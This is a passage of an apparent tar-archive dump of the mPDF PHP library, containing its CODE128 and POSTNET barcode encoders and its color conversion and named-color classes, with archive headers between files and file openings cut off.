00 */ '222122', /* 01 */ '222221', /* 02 */ '121223', /* 03 */ '121322', /* 04 */ '131222', /* 05 */ '122213', /* 06 */ '122312', /* 07 */ '132212', /* 08 */ '221213', /* 09 */ '221312', /* 10 */ '231212', /* 11 */ '112232', /* 12 */ '122132', /* 13 */ '122231', /* 14 */ '113222', /* 15 */ '123122', /* 16 */ '123221', /* 17 */ '223211', /* 18 */ '221132', /* 19 */ '221231', /* 20 */ '213212', /* 21 */ '223112', /* 22 */ '312131', /* 23 */ '311222', /* 24 */ '321122', /* 25 */ '321221', /* 26 */ '312212', /* 27 */ '322112', /* 28 */ '322211', /* 29 */ '212123', /* 30 */ '212321', /* 31 */ '232121', /* 32 */ '111323', /* 33 */ '131123', /* 34 */ '131321', /* 35 */ '112313', /* 36 */ '132113', /* 37 */ '132311', /* 38 */ '211313', /* 39 */ '231113', /* 40 */ '231311', /* 41 */ '112133', /* 42 */ '112331', /* 43 */ '132131', /* 44 */ '113123', /* 45 */ '113321', /* 46 */ '133121', /* 47 */ '313121', /* 48 */ '211331', /* 49 */ '231131', /* 50 */ '213113', /* 51 */ '213311', /* 52 */ '213131', /* 53 */ '311123', /* 54 */ '311321', /* 55 */ '331121', /* 56 */ '312113', /* 57 */ '312311', /* 58 */ '332111', /* 59 */ '314111', /* 60 */ '221411', /* 61 */ '431111', /* 62 */ '111224', /* 63 */ '111422', /* 64 */ '121124', /* 65 */ '121421', /* 66 */ '141122', /* 67 */ '141221', /* 68 */ '112214', /* 69 */ '112412', /* 70 */ '122114', /* 71 */ '122411', /* 72 */ '142112', /* 73 */ '142211', /* 74 */ '241211', /* 75 */ '221114', /* 76 */ '413111', /* 77 */ '241112', /* 78 */ '134111', /* 79 */ '111242', /* 80 */ '121142', /* 81 */ '121241', /* 82 */ '114212', /* 83 */ '124112', /* 84 */ '124211', /* 85 */ '411212', /* 86 */ '421112', /* 87 */ '421211', /* 88 */ '212141', /* 89 */ '214121', /* 90 */ '412121', /* 91 */ '111143', /* 92 */ '111341', /* 93 */ '131141', /* 94 */ '114113', /* 95 */ '114311', /* 96 */ '411113', /* 97 */ '411311', /* 98 */ '113141', /* 99 */ '114131', /* 100 */ '311141', /* 101 */ '411131', /* 102 */ '211412', /* 103 START A */ '211214', /* 104 START B */ '211232', /* 105 START C */ '233111', /* STOP */ '200000' /* END */ ]; switch (strtoupper($type)) { case 'RAW': $newCode=''; $startid = false; foreach (explode(" ", $code) as $v) { if (is_numeric($v) && round($v, 0) == $v) { if ($v>=0 && $v<=105) { if ($startid===false) { $startid=$v; } else { $newCode.=chr($v); } } else { throw new \Mpdf\Barcode\BarcodeException('Invalid CODE128RAW barcode value. 0-105 needed'); } } else { //double spaces generates empty $v any other is not allowed if ($v!='') { throw new \Mpdf\Barcode\BarcodeException('Invalid CODE128RAW barcode value. 0-105 needed'); } } } if ($startid<103 || $startid>105) { throw new \Mpdf\Barcode\BarcodeException('Invalid CODE128RAW startid value. Must 103,104 or 105 (for A,B or C)'); } $keys=''; for ($i = 0; $i <= 105; ++$i) { $keys .= chr($i); } $code=$newCode; break; case 'A': $startid = 103; $keys = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_'; for ($i = 0; $i < 32; ++$i) { $keys .= chr($i); } break; case 'B': $startid = 104; $keys = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~' . chr(127); break; case 'C': $startid = 105; $keys = ''; if ((strlen($code) % 2) != 0) { // The length of barcode value must be even ($code). You must pad the number with zeros throw new \Mpdf\Barcode\BarcodeException('Invalid CODE128C barcode value'); } for ($i = 0; $i <= 99; ++$i) { $keys .= chr($i); } $newCode = ''; $hclen = (strlen($code) / 2); for ($i = 0; $i < $hclen; ++$i) { if ($code[2 * $i]<"0" || $code[2 * $i]>"9" || $code[2 * $i + 1]<"0" || $code[2 * $i + 1]>"9") { throw new \Mpdf\Barcode\BarcodeException(sprintf('Invalid character "%s" in CODE128C barcode value', $code[$i])); } $newCode .= chr((int) ($code[2 * $i] . $code[2 * $i + 1])); } $code = $newCode; break; default: throw new \Mpdf\Barcode\BarcodeException('Invalid CODE128 barcode type'); } // calculate check character $sum = $startid; // Add FNC 1 - which identifies it as EAN-128 if ($ean) { $code = chr(102) . $code; } $clen = strlen($code); for ($i = 0; $i < $clen; ++$i) { if ($ean && $i == 0) { $sum += 102; } else { if (strpos($keys, $code[$i]) === false) { throw new \Mpdf\Barcode\BarcodeException(sprintf('Invalid character "%s" in CODE128'.$type.' barcode value', $code[$i])); } $sum += (strpos($keys, $code[$i]) * ($i + 1)); } } $check = ($sum % 103); $checkdigit = $check; // add start, check and stop codes $code = chr($startid) . $code . chr($check) . chr(106) . chr(107); $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $k = 0; $len = strlen($code); for ($i = 0; $i < $len; ++$i) { $ck = strpos($keys, $code[$i]); if (($i == 0) || ($ean && $i == 1) | ($i > ($len - 4))) { $char_num = ord($code[$i]); $seq = $chr[$char_num]; } elseif (($ck >= 0) && isset($chr[$ck])) { $seq = $chr[$ck]; } else { // invalid character throw new \Mpdf\Barcode\BarcodeException(sprintf('Invalid character "%s" in CODE128C barcode value', $code[$i])); } for ($j = 0; $j < 6; ++$j) { if (($j % 2) == 0) { $t = true; // bar } else { $t = false; // space } $w = $seq[$j]; $bararray['bcode'][$k] = ['t' => $t, 'w' => $w, 'h' => 1, 'p' => 0]; $bararray['maxw'] += $w; ++$k; } } $bararray['checkdigit'] = $checkdigit; $this->data = $bararray; } public function getType() { return 'CODE128'; } } vendor/mpdf/mpdf/src/Barcode/Postnet.php000064400000005423147600022140014210 0ustar00init($code, $gapWidth, $planet); $this->data['nom-X'] = $xDim; $this->data['nom-H'] = 3.175; // Nominal value for Height of Full bar in mm (spec.) $this->data['quietL'] = 3.175; // LEFT Quiet margin = mm (?spec.) $this->data['quietR'] = 3.175; // RIGHT Quiet margin = mm (?spec.) $this->data['quietTB'] = 1.016; // TOP/BOTTOM Quiet margin = mm (?spec.) } /** * @param string $code * @param float $gapWidth * @param bool $planet */ private function init($code, $gapWidth, $planet) { // bar lenght if ($planet) { $barlen = [ 0 => [1, 1, 2, 2, 2], 1 => [2, 2, 2, 1, 1], 2 => [2, 2, 1, 2, 1], 3 => [2, 2, 1, 1, 2], 4 => [2, 1, 2, 2, 1], 5 => [2, 1, 2, 1, 2], 6 => [2, 1, 1, 2, 2], 7 => [1, 2, 2, 2, 1], 8 => [1, 2, 2, 1, 2], 9 => [1, 2, 1, 2, 2] ]; } else { $barlen = [ 0 => [2, 2, 1, 1, 1], 1 => [1, 1, 1, 2, 2], 2 => [1, 1, 2, 1, 2], 3 => [1, 1, 2, 2, 1], 4 => [1, 2, 1, 1, 2], 5 => [1, 2, 1, 2, 1], 6 => [1, 2, 2, 1, 1], 7 => [2, 1, 1, 1, 2], 8 => [2, 1, 1, 2, 1], 9 => [2, 1, 2, 1, 1] ]; } $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 5, 'bcode' => []]; $k = 0; $code = str_replace('-', '', $code); $code = str_replace(' ', '', $code); $len = strlen($code); // calculate checksum $sum = 0; for ($i = 0; $i < $len; ++$i) { $sum += (int) $code[$i]; } $chkd = ($sum % 10); if ($chkd > 0) { $chkd = (10 - $chkd); } $code .= $chkd; $checkdigit = $chkd; $len = strlen($code); // start bar $bararray['bcode'][$k++] = ['t' => 1, 'w' => 1, 'h' => 5, 'p' => 0]; $bararray['bcode'][$k++] = ['t' => 0, 'w' => $gapWidth, 'h' => 5, 'p' => 0]; $bararray['maxw'] += (1 + $gapWidth); for ($i = 0; $i < $len; ++$i) { for ($j = 0; $j < 5; ++$j) { $bh = $barlen[$code[$i]][$j]; if ($bh == 2) { $h = 5; $p = 0; } else { $h = 2; $p = 3; } $bararray['bcode'][$k++] = ['t' => 1, 'w' => 1, 'h' => $h, 'p' => $p]; $bararray['bcode'][$k++] = ['t' => 0, 'w' => $gapWidth, 'h' => 2, 'p' => 0]; $bararray['maxw'] += (1 + $gapWidth); } } // end bar $bararray['bcode'][$k++] = ['t' => 1, 'w' => 1, 'h' => 5, 'p' => 0]; $bararray['maxw'] += 1; $bararray['checkdigit'] = $checkdigit; $this->data = $bararray; } /** * @inheritdoc */ public function getType() { return 'POSTNET'; } } vendor/mpdf/mpdf/src/Color/ColorModeConverter.php000064400000007102147600022140016042 0ustar00cmyk2rgb($c); return $this->rgb2gray($rgb); } /** * @param float[] $c * * @return float[] */ public function rgb2cmyk($c) { $cyan = 1 - ($c[1] / 255); $magenta = 1 - ($c[2] / 255); $yellow = 1 - ($c[3] / 255); $min = min($cyan, $magenta, $yellow); if ($min == 1) { if ($c[0] == 5) { return [6, 100, 100, 100, 100, $c[4]]; } return [4, 100, 100, 100, 100]; // For K-Black //if ($c[0]==5) { return array (6,0,0,0,100, $c[4]); } //else { return array (4,0,0,0,100); } } $K = $min; $black = 1 - $K; if ($c[0] == 5) { return [6, ($cyan - $K) * 100 / $black, ($magenta - $K) * 100 / $black, ($yellow - $K) * 100 / $black, $K * 100, $c[4]]; } return [4, ($cyan - $K) * 100 / $black, ($magenta - $K) * 100 / $black, ($yellow - $K) * 100 / $black, $K * 100]; } /** * @param float[] $c * * @return float[] */ public function cmyk2rgb($c) { $rgb = []; $colors = 255 - ($c[4] * 2.55); $rgb[0] = (int) ($colors * (255 - ($c[1] * 2.55)) / 255); $rgb[1] = (int) ($colors * (255 - ($c[2] * 2.55)) / 255); $rgb[2] = (int) ($colors * (255 - ($c[3] * 2.55)) / 255); if ($c[0] == 6) { return [5, $rgb[0], $rgb[1], $rgb[2], $c[5]]; } return [3, $rgb[0], $rgb[1], $rgb[2]]; } /** * @param float $r * @param float $g * @param float $b * * @return float[] */ public function rgb2hsl($r, $g, $b) { $h = 0; $min = min($r, $g, $b); $max = max($r, $g, $b); $diff = $max - $min; $l = ($max + $min) / 2; if ($diff == 0) { $h = 0; $s = 0; } else { if ($l < 0.5) { $s = $diff / ($max + $min); } else { $s = $diff / (2 - $max - $min); } $rDiff = ((($max - $r) / 6) + ($diff / 2)) / $diff; $gDiff = ((($max - $g) / 6) + ($diff / 2)) / $diff; $bDiff = ((($max - $b) / 6) + ($diff / 2)) / $diff; if ($r == $max) { $h = $bDiff - $gDiff; } elseif ($g == $max) { $h = (1 / 3) + $rDiff - $bDiff; } elseif ($b == $max) { $h = (2 / 3) + $gDiff - $rDiff; } if ($h < 0) { ++$h; } if ($h > 1) { --$h; } } return [$h, $s, $l]; } /** * Input is HSL value of complementary colour, held in $h2, $s, $l as fractions of 1 * Output is RGB in normal 255 255 255 format, held in $r, $g, $b * * @param float $h * @param float $s * @param float $l * * @return float[] */ public function hsl2rgb($h, $s, $l) { if ($s == 0) { $r = $l * 255; $g = $l * 255; $b = $l * 255; } else { if ($l < 0.5) { $tmp = $l * (1 + $s); } else { $tmp = ($l + $s) - ($s * $l); } $tmp2 = 2 * $l - $tmp; $r = round(255 * $this->hue2rgb($tmp2, $tmp, $h + (1 / 3))); $g = round(255 * $this->hue2rgb($tmp2, $tmp, $h)); $b = round(255 * $this->hue2rgb($tmp2, $tmp, $h - (1 / 3))); } return [$r, $g, $b]; } /** * @param float $v1 * @param float $v2 * @param float $vh * * @return float */ public function hue2rgb($v1, $v2, $vh) { if ($vh < 0) { ++$vh; } if ($vh > 1) { --$vh; } if ((6 * $vh) < 1) { return ($v1 + ($v2 - $v1) * 6 * $vh); } if ((2 * $vh) < 1) { return $v2; } if ((3 * $vh) < 2) { return ($v1 + ($v2 - $v1) * ((2 / 3 - $vh) * 6)); } return $v1; } } vendor/mpdf/mpdf/src/Color/NamedColors.php000064400000010166147600022140014501 0ustar00 '#f0f8ff', 'antiquewhite' => '#faebd7', 'aqua' => '#00ffff', 'aquamarine' => '#7fffd4', 'azure' => '#f0ffff', 'beige' => '#f5f5dc', 'bisque' => '#ffe4c4', 'black' => '#000000', 'blanchedalmond' => '#ffebcd', 'blue' => '#0000ff', 'blueviolet' => '#8a2be2', 'brown' => '#a52a2a', 'burlywood' => '#deb887', 'cadetblue' => '#5f9ea0', 'chartreuse' => '#7fff00', 'chocolate' => '#d2691e', 'coral' => '#ff7f50', 'cornflowerblue' => '#6495ed', 'cornsilk' => '#fff8dc', 'crimson' => '#dc143c', 'cyan' => '#00ffff', 'darkblue' => '#00008b', 'darkcyan' => '#008b8b', 'darkgoldenrod' => '#b8860b', 'darkgray' => '#a9a9a9', 'darkgreen' => '#006400', 'darkgrey' => '#a9a9a9', 'darkkhaki' => '#bdb76b', 'darkmagenta' => '#8b008b', 'darkolivegreen' => '#556b2f', 'darkorange' => '#ff8c00', 'darkorchid' => '#9932cc', 'darkred' => '#8b0000', 'darksalmon' => '#e9967a', 'darkseagreen' => '#8fbc8f', 'darkslateblue' => '#483d8b', 'darkslategray' => '#2f4f4f', 'darkslategrey' => '#2f4f4f', 'darkturquoise' => '#00ced1', 'darkviolet' => '#9400d3', 'deeppink' => '#ff1493', 'deepskyblue' => '#00bfff', 'dimgray' => '#696969', 'dimgrey' => '#696969', 'dodgerblue' => '#1e90ff', 'firebrick' => '#b22222', 'floralwhite' => '#fffaf0', 'forestgreen' => '#228b22', 'fuchsia' => '#ff00ff', 'gainsboro' => '#dcdcdc', 'ghostwhite' => '#f8f8ff', 'gold' => '#ffd700', 'goldenrod' => '#daa520', 'gray' => '#808080', 'green' => '#008000', 'greenyellow' => '#adff2f', 'grey' => '#808080', 'honeydew' => '#f0fff0', 'hotpink' => '#ff69b4', 'indianred' => '#cd5c5c', 'indigo' => '#4b0082', 'ivory' => '#fffff0', 'khaki' => '#f0e68c', 'lavender' => '#e6e6fa', 'lavenderblush' => '#fff0f5', 'lawngreen' => '#7cfc00', 'lemonchiffon' => '#fffacd', 'lightblue' => '#add8e6', 'lightcoral' => '#f08080', 'lightcyan' => '#e0ffff', 'lightgoldenrodyellow' => '#fafad2', 'lightgray' => '#d3d3d3', 'lightgreen' => '#90ee90', 'lightgrey' => '#d3d3d3', 'lightpink' => '#ffb6c1', 'lightsalmon' => '#ffa07a', 'lightseagreen' => '#20b2aa', 'lightskyblue' => '#87cefa', 'lightslategray' => '#778899', 'lightslategrey' => '#778899', 'lightsteelblue' => '#b0c4de', 'lightyellow' => '#ffffe0', 'lime' => '#00ff00', 'limegreen' => '#32cd32', 'linen' => '#faf0e6', 'magenta' => '#ff00ff', 'maroon' => '#800000', 'mediumaquamarine' => '#66cdaa', 'mediumblue' => '#0000cd', 'mediumorchid' => '#ba55d3', 'mediumpurple' => '#9370db', 'mediumseagreen' => '#3cb371', 'mediumslateblue' => '#7b68ee', 'mediumspringgreen' => '#00fa9a', 'mediumturquoise' => '#48d1cc', 'mediumvioletred' => '#c71585', 'midnightblue' => '#191970', 'mintcream' => '#f5fffa', 'mistyrose' => '#ffe4e1', 'moccasin' => '#ffe4b5', 'navajowhite' => '#ffdead', 'navy' => '#000080', 'oldlace' => '#fdf5e6', 'olive' => '#808000', 'olivedrab' => '#6b8e23', 'orange' => '#ffa500', 'orangered' => '#ff4500', 'orchid' => '#da70d6', 'palegoldenrod' => '#eee8aa', 'palegreen' => '#98fb98', 'paleturquoise' => '#afeeee', 'palevioletred' => '#d87093', 'papayawhip' => '#ffefd5', 'peachpuff' => '#ffdab9', 'peru' => '#cd853f', 'pink' => '#ffc0cb', 'plum' => '#dda0dd', 'powderblue' => '#b0e0e6', 'purple' => '#800080', 'red' => '#ff0000', 'rosybrown' => '#bc8f8f', 'royalblue' => '#4169e1', 'saddlebrown' => '#8b4513', 'salmon' => '#fa8072', 'sandybrown' => '#f4a460', 'seagreen' => '#2e8b57', 'seashell' => '#fff5ee', 'sienna' => '#a0522d', 'silver' => '#c0c0c0', 'skyblue' => '#87ceeb', 'slateblue' => '#6a5acd', 'slategray' => '#708090', 'slategrey' => '#708090', 'snow' => '#fffafa', 'springgreen' => '#00ff7f', 'steelblue' => '#4682b4', 'tan' => '#d2b48c', 'teal' => '#008080', 'thistle' => '#d8bfd8', 'tomato' => '#ff6347', 'turquoise' => '#40e0d0', 'violet' => '#ee82ee', 'violetred' => '#d02090', 'wheat' => '#f5deb3', 'white' => '#ffffff', 'whitesmoke' => '#f5f5f5', 'yellow' => '#ffff00', 'yellowgreen' => '#9acd32', ]; } vendor/mpdf/mpdf/src/Color/ColorConverter.php000064400000021416147600022140015241 0ustar00mpdf = $mpdf; $this->colorModeConverter = $colorModeConverter; $this->colorSpaceRestrictor = $colorSpaceRestrictor; $this->cache = []; } public function convert($color, array &$PDFAXwarnings = []) { $color = strtolower(trim($color)); if ($color === 'transparent' || $color === 'inherit') { return false; } if (isset(NamedColors::$colors[$color])) { $color = NamedColors::$colors[$color]; } if (!isset($this->cache[$color])) { $c = $this->convertPlain($color, $PDFAXwarnings); $cstr = ''; if (is_array($c)) { $c = array_pad($c, 6, 0); $cstr = pack('a1ccccc', $c[0], $c[1] & 0xFF, $c[2] & 0xFF, $c[3] & 0xFF, $c[4] & 0xFF, $c[5] & 0xFF); } $this->cache[$color] = $cstr; } return $this->cache[$color]; } public function lighten($c) { $this->ensureBinaryColorFormat($c); if ($c[0] == static::MODE_RGB || $c[0] == static::MODE_RGBA) { list($h, $s, $l) = $this->colorModeConverter->rgb2hsl(ord($c[1]) / 255, ord($c[2]) / 255, ord($c[3]) / 255); $l += ((1 - $l) * 0.8); list($r, $g, $b) = $this->colorModeConverter->hsl2rgb($h, $s, $l); $ret = [3, $r, $g, $b]; } elseif ($c[0] == static::MODE_CMYK || $c[0] == static::MODE_CMYKA) { $ret = [4, max(0, ord($c[1]) - 20), max(0, ord($c[2]) - 20), max(0, ord($c[3]) - 20), max(0, ord($c[4]) - 20)]; } elseif ($c[0] == static::MODE_GRAYSCALE) { $ret = [1, min(255, ord($c[1]) + 32)]; } $c = array_pad($ret, 6, 0); $cstr = pack('a1ccccc', $c[0], $c[1] & 0xFF, $c[2] & 0xFF, $c[3] & 0xFF, $c[4] & 0xFF, $c[5] & 0xFF); return $cstr; } public function darken($c) { $this->ensureBinaryColorFormat($c); if ($c[0] == static::MODE_RGB || $c[0] == static::MODE_RGBA) { list($h, $s, $l) = $this->colorModeConverter->rgb2hsl(ord($c[1]) / 255, ord($c[2]) / 255, ord($c[3]) / 255); $s *= 0.25; $l *= 0.75; list($r, $g, $b) = $this->colorModeConverter->hsl2rgb($h, $s, $l); $ret = [3, $r, $g, $b]; } elseif ($c[0] == static::MODE_CMYK || $c[0] == static::MODE_CMYKA) { $ret = [4, min(100, ord($c[1]) + 20), min(100, ord($c[2]) + 20), min(100, ord($c[3]) + 20), min(100, ord($c[4]) + 20)]; } elseif ($c[0] == static::MODE_GRAYSCALE) { $ret = [1, max(0, ord($c[1]) - 32)]; } $c = array_pad($ret, 6, 0); $cstr = pack('a1ccccc', $c[0], $c[1] & 0xFF, $c[2] & 0xFF, $c[3] & 0xFF, $c[4] & 0xFF, $c[5] & 0xFF); return $cstr; } /** * @param string $c * @return float[] */ public function invert($c) { $this->ensureBinaryColorFormat($c); if ($c[0] == static::MODE_RGB || $c[0] == static::MODE_RGBA) { return [3, 255 - ord($c[1]), 255 - ord($c[2]), 255 - ord($c[3])]; } if ($c[0] == static::MODE_CMYK || $c[0] == static::MODE_CMYKA) { return [4, 100 - ord($c[1]), 100 - ord($c[2]), 100 - ord($c[3]), 100 - ord($c[4])]; } if ($c[0] == static::MODE_GRAYSCALE) { return [1, 255 - ord($c[1])]; } // Cannot cope with non-RGB colors at present throw new \Mpdf\MpdfException('Trying to invert non-RGB color'); } /** * @param string $c Binary color string * * @return string */ public function colAtoString($c) { if ($c[0] == static::MODE_GRAYSCALE) { return 'rgb(' . ord($c[1]) . ', ' . ord($c[1]) . ', ' . ord($c[1]) . ')'; } if ($c[0] == static::MODE_SPOT) { return 'spot(' . ord($c[1]) . ', ' . ord($c[2]) . ')'; } if ($c[0] == static::MODE_RGB) { return 'rgb(' . ord($c[1]) . ', ' . ord($c[2]) . ', ' . ord($c[3]) . ')'; } if ($c[0] == static::MODE_CMYK) { return 'cmyk(' . ord($c[1]) . ', ' . ord($c[2]) . ', ' . ord($c[3]) . ', ' . ord($c[4]) . ')'; } if ($c[0] == static::MODE_RGBA) { return 'rgba(' . ord($c[1]) . ', ' . ord($c[2]) . ', ' . ord($c[3]) . ', ' . sprintf('%0.2F', ord($c[4]) / 100) . ')'; } if ($c[0] == static::MODE_CMYKA) { return 'cmyka(' . ord($c[1]) . ', ' . ord($c[2]) . ', ' . ord($c[3]) . ', ' . ord($c[4]) . ', ' . sprintf('%0.2F', ord($c[5]) / 100) . ')'; } return ''; } /** * @param string $color * @param string[] $PDFAXwarnings * * @return bool|float[] */ private function convertPlain($color, array &$PDFAXwarnings = []) { $c = false; if (preg_match('/^[\d]+$/', $color)) { $c = [static::MODE_GRAYSCALE, $color]; // i.e. integer only } elseif (strpos($color, '#') === 0) { // case of #nnnnnn or #nnn $c = $this->processHashColor($color); } elseif (preg_match('/(rgba|rgb|device-cmyka|cmyka|device-cmyk|cmyk|hsla|hsl|spot)\((.*?)\)/', $color, $m)) { $c = $this->processModeColor($m[1], explode(',', $m[2])); } if ($this->mpdf->PDFA || $this->mpdf->PDFX || $this->mpdf->restrictColorSpace) { $c = $this->restrictColorSpace($c, $color, $PDFAXwarnings); } return $c; } /** * @param string $color * * @return float[] */ private function processHashColor($color) { // in case of Background: #CCC url() x-repeat etc. $cor = preg_replace('/\s+.*/', '', $color); // Turn #RGB into #RRGGBB if (strlen($cor) === 4) { $cor = '#' . $cor[1] . $cor[1] . $cor[2] . $cor[2] . $cor[3] . $cor[3]; } $r = hexdec(substr($cor, 1, 2)); $g = hexdec(substr($cor, 3, 2)); $b = hexdec(substr($cor, 5, 2)); return [3, $r, $g, $b]; } /** * @param $mode * @param mixed[] $cores * @return bool|float[] */ private function processModeColor($mode, array $cores) { $c = false; $cores = $this->convertPercentCoreValues($mode, $cores); switch ($mode) { case 'rgb': return [static::MODE_RGB, $cores[0], $cores[1], $cores[2]]; case 'rgba': return [static::MODE_RGBA, $cores[0], $cores[1], $cores[2], $cores[3] * 100]; case 'cmyk': case 'device-cmyk': return [static::MODE_CMYK, $cores[0], $cores[1], $cores[2], $cores[3]]; case 'cmyka': case 'device-cmyka': return [static::MODE_CMYKA, $cores[0], $cores[1], $cores[2], $cores[3], $cores[4] * 100]; case 'hsl': $conv = $this->colorModeConverter->hsl2rgb($cores[0] / 360, $cores[1], $cores[2]); return [static::MODE_RGB, $conv[0], $conv[1], $conv[2]]; case 'hsla': $conv = $this->colorModeConverter->hsl2rgb($cores[0] / 360, $cores[1], $cores[2]); return [static::MODE_RGBA, $conv[0], $conv[1], $conv[2], $cores[3] * 100]; case 'spot': $name = strtoupper(trim($cores[0])); if (!isset($this->mpdf->spotColors[$name])) { if (isset($cores[5])) { $this->mpdf->AddSpotColor($cores[0], $cores[2], $cores[3], $cores[4], $cores[5]); } else { throw new \Mpdf\MpdfException(sprintf('Undefined spot color "%s"', $name)); } } return [static::MODE_SPOT, $this->mpdf->spotColors[$name]['i'], $cores[1]]; } return $c; } /** * @param string $mode * @param mixed[] $cores * * @return float[] */ private function convertPercentCoreValues($mode, array $cores) { $ncores = count($cores); if (strpos($cores[0], '%') !== false) { $cores[0] = (float) $cores[0]; if ($mode === 'rgb' || $mode === 'rgba') { $cores[0] = (int) ($cores[0] * 255 / 100); } } if ($ncores > 1 && strpos($cores[1], '%') !== false) { $cores[1] = (float) $cores[1]; if ($mode === 'rgb' || $mode === 'rgba') { $cores[1] = (int) ($cores[1] * 255 / 100); } if ($mode === 'hsl' || $mode === 'hsla') { $cores[1] /= 100; } } if ($ncores > 2 && strpos($cores[2], '%') !== false) { $cores[2] = (float) $cores[2]; if ($mode === 'rgb' || $mode === 'rgba') { $cores[2] = (int) ($cores[2] * 255 / 100); } if ($mode === 'hsl' || $mode === 'hsla') { $cores[2] /= 100; } } if ($ncores > 3 && strpos($cores[3], '%') !== false) { $cores[3] = (float) $cores[3]; } return $cores; } /** * @param mixed $c * @param string $color * @param string[] $PDFAXwarnings * * @return float[] */ private function restrictColorSpace($c, $color, &$PDFAXwarnings = []) { return $this->colorSpaceRestrictor->restrictColorSpace($c, $color, $PDFAXwarnings); } /** * @param string $color Binary color string */ private function ensureBinaryColorFormat($color) { if (!is_string($color)) { throw new \Mpdf\MpdfException('Invalid color input, binary color string expected'); } if (strlen($color) !== 6) { throw new \Mpdf\MpdfException('Invalid color input, binary color string expected'); } if (!in_array($color[0], [static::MODE_GRAYSCALE, static::MODE_SPOT, static::MODE_RGB, static::MODE_CMYK, static::MODE_RGBA, static::MODE_CMYKA])) { throw new \Mpdf\MpdfException('Invalid color input, invalid color mode in binary color string'); } } } vendor/mpdf/mpdf/src/Color/ColorSpaceRestrictor.php000064400000013672147600022140016413 0ustar00gray] * 2 - allow RGB / SPOT COLOR / Grayscale [convert CMYK->RGB] * 3 - allow CMYK / SPOT COLOR / Grayscale [convert RGB->CMYK] * * @param \Mpdf\Mpdf $mpdf * @param \Mpdf\Color\ColorModeConverter $colorModeConverter * @param int $mode */ public function __construct(Mpdf $mpdf, ColorModeConverter $colorModeConverter, $mode) { $this->mpdf = $mpdf; $this->colorModeConverter = $colorModeConverter; $this->mode = $mode; } /** * @param mixed $c * @param string $color * @param string[] $PDFAXwarnings * * @return float[]|mixed */ public function restrictColorSpace($c, $color, &$PDFAXwarnings = []) { if (!is_array($c)) { return $c; } $mode = (int) $c[0]; switch ($mode) { case 1: return $c; case 2: return $this->restrictSpotColorSpace($c, $PDFAXwarnings); case 3: return $this->restrictRgbColorSpace($c, $color, $PDFAXwarnings); case 4: return $this->restrictCmykColorSpace($c, $color, $PDFAXwarnings); case 5: return $this->restrictRgbaColorSpace($c, $color, $PDFAXwarnings); case 6: return $this->restrictCmykaColorSpace($c, $color, $PDFAXwarnings); } return $c; } /** * @param string $c * @param string[] $PDFAXwarnings * * @return float[] */ private function restrictSpotColorSpace($c, &$PDFAXwarnings = []) { if (!isset($this->mpdf->spotColorIDs[$c[1]])) { throw new \Mpdf\MpdfException('Error: Spot colour has not been defined - ' . $this->mpdf->spotColorIDs[$c[1]]); } if ($this->mpdf->PDFA) { if ($this->mpdf->PDFA && !$this->mpdf->PDFAauto) { $PDFAXwarnings[] = "Spot color specified '" . $this->mpdf->spotColorIDs[$c[1]] . "' (converted to process color)"; } if ($this->mode != 3) { $sp = $this->mpdf->spotColors[$this->mpdf->spotColorIDs[$c[1]]]; $c = $this->colorModeConverter->cmyk2rgb([4, $sp['c'], $sp['m'], $sp['y'], $sp['k']]); } } elseif ($this->mode == 1) { $sp = $this->mpdf->spotColors[$this->mpdf->spotColorIDs[$c[1]]]; $c = $this->colorModeConverter->cmyk2gray([4, $sp['c'], $sp['m'], $sp['y'], $sp['k']]); } return $c; } /** * @param mixed $c * @param string $color * @param string[] $PDFAXwarnings * * @return float[] */ private function restrictRgbColorSpace($c, $color, &$PDFAXwarnings = []) { if ($this->mpdf->PDFX || ($this->mpdf->PDFA && $this->mode == 3)) { if (($this->mpdf->PDFA && !$this->mpdf->PDFAauto) || ($this->mpdf->PDFX && !$this->mpdf->PDFXauto)) { $PDFAXwarnings[] = "RGB color specified '" . $color . "' (converted to CMYK)"; } $c = $this->colorModeConverter->rgb2cmyk($c); } elseif ($this->mode == 1) { $c = $this->colorModeConverter->rgb2gray($c); } elseif ($this->mode == 3) { $c = $this->colorModeConverter->rgb2cmyk($c); } return $c; } /** * @param mixed $c * @param string $color * @param string[] $PDFAXwarnings * * @return float[] */ private function restrictCmykColorSpace($c, $color, &$PDFAXwarnings = []) { if ($this->mpdf->PDFA && $this->mode != 3) { if ($this->mpdf->PDFA && !$this->mpdf->PDFAauto) { $PDFAXwarnings[] = "CMYK color specified '" . $color . "' (converted to RGB)"; } $c = $this->colorModeConverter->cmyk2rgb($c); } elseif ($this->mode == 1) { $c = $this->colorModeConverter->cmyk2gray($c); } elseif ($this->mode == 2) { $c = $this->colorModeConverter->cmyk2rgb($c); } return $c; } /** * @param mixed $c * @param string $color * @param string[] $PDFAXwarnings * * @return float[] */ private function restrictRgbaColorSpace($c, $color, &$PDFAXwarnings = []) { if ($this->mpdf->PDFX || ($this->mpdf->PDFA && $this->mode == 3)) { if (($this->mpdf->PDFA && !$this->mpdf->PDFAauto) || ($this->mpdf->PDFX && !$this->mpdf->PDFXauto)) { $PDFAXwarnings[] = "RGB color with transparency specified '" . $color . "' (converted to CMYK without transparency)"; } $c = $this->colorModeConverter->rgb2cmyk($c); $c = [4, $c[1], $c[2], $c[3], $c[4]]; } elseif ($this->mpdf->PDFA && $this->mode != 3) { if (!$this->mpdf->PDFAauto) { $PDFAXwarnings[] = "RGB color with transparency specified '" . $color . "' (converted to RGB without transparency)"; } $c = $this->colorModeConverter->rgb2cmyk($c); $c = [4, $c[1], $c[2], $c[3], $c[4]]; } elseif ($this->mode == 1) { $c = $this->colorModeConverter->rgb2gray($c); } elseif ($this->mode == 3) { $c = $this->colorModeConverter->rgb2cmyk($c); } return $c; } /** * @param mixed $c * @param string $color * @param string[] $PDFAXwarnings * * @return float[] */ private function restrictCmykaColorSpace($c, $color, &$PDFAXwarnings = []) { if ($this->mpdf->PDFA && $this->mode != 3) { if (($this->mpdf->PDFA && !$this->mpdf->PDFAauto) || ($this->mpdf->PDFX && !$this->mpdf->PDFXauto)) { $PDFAXwarnings[] = "CMYK color with transparency specified '" . $color . "' (converted to RGB without transparency)"; } $c = $this->colorModeConverter->cmyk2rgb($c); $c = [3, $c[1], $c[2], $c[3]]; } elseif 